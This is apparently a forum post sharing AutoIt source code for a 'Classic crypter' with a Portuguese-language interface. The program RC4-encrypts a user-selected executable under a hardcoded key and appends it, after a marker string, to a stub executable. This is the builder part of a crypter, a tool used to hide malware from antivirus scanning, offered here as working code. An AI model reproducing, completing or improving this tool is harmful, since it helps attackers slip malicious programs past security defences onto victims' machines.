13 Years of Service
60%
Code:
>#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_icon=123.ico
#AutoIt3Wrapper_UseUpx=n
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#include
#include
#include
#include
#include
#include
#include
#Region ### START Koda GUI section ### Form=
$MainGui = _MakeGUI(@ScriptDir&"\bg.png", "Classic crypter", 1, 200)
$Input1 = GUICtrlCreateInput("", 370, 140, 200, 21)
$Button1 = GUICtrlCreateButton("Abrir", 575, 140, 65, 24)
$Button2 = GUICtrlCreateButton("Cryptar", 640, 140, 65, 25, $WS_GROUP)
$Button3 = GUICtrlCreateButton("About", 705, 140, 65, 25, $WS_GROUP)
$Checkbox2 = GUICtrlCreateCheckbox("", 705, 100, 12, 12)
#EndRegion ### END Koda GUI section ###
GUICtrlSetOnEvent($Button1,"abrir")
GuiCtrlSetOnevent($Button2, "Encryptar")
FileInstall("bg.png" ,@ScriptDir&"\bg.png") ; Copia a imagen da forma principal para o local determinado
Func Abrir()
GUICtrlSetData($Input1, FileOpenDialog("Selecione o arquivo para encriptar", @DesktopDir, "Executáveis(*)"))
If GUICtrlRead($Input1) = "" Then Return ;Retorna o estado anterior da Imput se o arquivo não for selecionado
EndFunc
Func Encryptar()
WinSetOnTop($MainGui, "", 0)
If GuiCtrlRead($Input1) = "" Then Return ; Condição que retorna se a Input1 não estiver preenchida
$Stub = FileOpen(@ScriptDir&"\Stub.exe", 16)
$File = FileOpen(GuiCtrlRead($Input1), 16)
$s = FileRead($Stub)
$f = FileRead($File)
$f = _RC4($f, "MASDoAMOSdoAMODmoiAMOISDmoiAIOSDioAIOIOSxASKOxKOAKSFADAWdOIAWfoajeofjAJEjJUAFjAJOEjoA")
$save = FileSaveDialog("Salvar Como...", @DesktopDir, "Executáveis(*.exe)") & ".exe"
$abri = FileOpen($save, 18)
FileWrite($abri, $s)
FileWrite($abri, StringToBinary("ASJdAEjfAJfjASOdAOIDmioAMIOSDoAEMOmoFAOMEOiFJIAJSdjoiRvBAIOSDjioAJIOdeAEJIOdjioAdejOAdeJIAEd"))
FileWrite($abri, $f)
FileClose($Stub)
Fileclose($File)
Fileclose($abri)
Fileclose($abri)
FileClose($Input1)
MsgBox(64, "", "Encryptado com sucesso")
EndFunc
While 1
Sleep(1)
WEnd